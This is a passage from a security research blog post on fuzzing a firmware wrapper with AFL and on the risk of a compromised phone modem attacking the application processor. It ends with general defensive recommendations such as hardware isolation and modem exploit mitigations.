  • If the functionality is important, but the actual implementation is not, e.g. because it is not in scope for the fuzzing, the function can be redefined (this is what happens for example with the event scheduler, see sources)
  • If none of the above applies, the pre-compiled library that implements the function can be linked in

The third option must be treated extra carefully because each time a new library is linked it pulls in additional dependencies, which can easily lead to an avalanche effect. Using these steps I have managed to get the wrapper to a stable state that can be fuzzed by AFL. The complete code is available here.

All of the tools and source snippets introduced in this post are available on Comsecuris’ github:


The original goal of the research was to achieve a compromise of the application processor operating system of a mobile phone from a compromised modem. To protect from these type of attacks strong isolation between hardware components should be considered when designing platforms. It also must be emphasized that the main operating system and applications running on it, must not blindly trust data coming from the different peripherals. Instead, this kind of data should be treated as attacker controlled.

Defending against compromised units is already a complicated task and defending against inherently malicious rogue elements is even harder. Many of these hardware units are accessible through the radio networks (baseband and Wi-Fi chips and now even GPUs through WebGL). They are prime targets for remote exploitation of mobile devices and there are many aspects left to be explored. Further offensive and defensive research is required in this space.

Besides making the jump between the chips harder, the security of the modem (and other peripherals) should be improved as well. Not all vendors are equal here, but some generally lack basic exploit mitigations. This significantly reduces the complexity of exploitation and makes up for the additional (reverse) engineering effort required to analyze the firmware. Due to the relentless work of the security community and the constant improvements of its hardening solutions, the cost of exploitation of mobile operating systems has drastically increased over the last few years. This not only makes attacks through deferred routes (such as through the modem) more appealing but might make them economically viable.